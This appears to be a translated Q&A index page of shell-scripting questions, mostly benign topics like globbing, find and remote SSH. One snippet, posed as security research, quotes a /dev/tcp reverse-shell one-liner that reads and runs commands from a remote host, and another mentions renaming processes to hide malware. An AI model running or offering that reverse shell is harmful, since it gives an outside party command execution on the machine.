Perguntas sobre 'shell'

1
resposta

Ignore globs que não correspondem a nada

Eu quero selecionar todos os arquivos em um diretório que termine com qualquer uma das seguintes extensões: txt , java , xml , csv Agora mesmo estou fazendo assim: echo *.{txt,java,xml,csv} O problema é que, se o diretório não...
14.10.2015 / 16:52
2
respostas

Executar bash em um servidor remoto sem esperar até o fim

Eu enfrentei o desejo de executar scripts diferentes simultaneamente em servidores diferentes. (+/- 2 segundos não é um problema)  A condição é iniciar os scripts pela chamada do servidor principal e NÃO pelo cronograma Cron. Eu tentei o SSH, ma...
22.12.2017 / 18:42
1
resposta

Como excluir arquivos de outro servidor usando um script de shell

Suponha que temos dois servidores 'A' e 'B'. Servidor B: Directory structure: /a/b/c/ The above directory has the files below: 2016xzy 2016abc 2016pqr 2015ghj Desejo excluir todos os arquivos cujos nomes começam com 2016 d...
26.10.2016 / 05:47
2
respostas

Como este redirecionamento de comando está funcionando?

Estou fazendo alguma pesquisa de segurança e fiquei imaginando como o snippet a seguir funciona em sistemas operacionais baseados em Unix: exec 5<>/dev/tcp/192.168.159.150/4444; cat <&5 | while read line; do \$line 2>&5 &...
22.05.2017 / 12:29
3
respostas

verificar se uma string possui um caractere mais de uma vez

O título, na verdade, quase explica tudo. Gostaria de verificar se uma string contém uma letra (não uma letra específica, na verdade, qualquer letra) mais de uma vez. por exemplo: usuário: test.sh this list script: if [ "$1" has...
13.12.2015 / 12:57
5
respostas

Pesquisando arquivo em um diretório através do script bash

Eu escrevi o seguinte código para pesquisar todos os nomes de arquivos no diretório de trabalho atual que contém a letra 'f'. for i in * do echo $i if [ $i = "*f*" ] then echo "no" else echo "yes" fi done Isto imprime "s...
19.05.2015 / 06:37
2
respostas

Diferença entre find ~ e find *

Qual é a diferença entre find * e find ~ para pesquisar um arquivo? No terminal quando meu atual diretório de trabalho em root , então no terminal root@devils-ey3:~# find * -print -quit ~ No mesmo diretório root@devils-ey3:~# f...
16.06.2015 / 10:31
1
resposta

Criando o diretório atual como se fosse um caminho absoluto

Eu estou querendo saber se existe um aplicativo que faz com que os comandos depois que ele opera em um ambiente que trata o diretório de trabalho como se fosse o mais alto, e não há absolutamente nenhuma maneira de acessar o arquivo mais amplo s...
05.07.2015 / 10:04
4
respostas

Qual é o nome da variável de ambiente (?) com a largura do terminal atual?

Eu sei que isso é algo simples, mas não consigo lembrar onde ele está localizado / nomeado. Onde a variável para a largura atual do terminal é armazenada? Eu vejo esta resposta fala sobre mudar as coisas: Como o comprimento e a largura...
13.07.2015 / 05:29
3
respostas

Atualiza o nome do processo no shell, é possível?

No C / C ++, é geralmente possível fazer strcpy ( argv[0] , "novo nome do processo"). É um hack usado em software malicioso para esconder o nome real do processo. Essa operação é possível via shell? O que eu quero fazer é: alterar $1 ,...
26.11.2014 / 04:05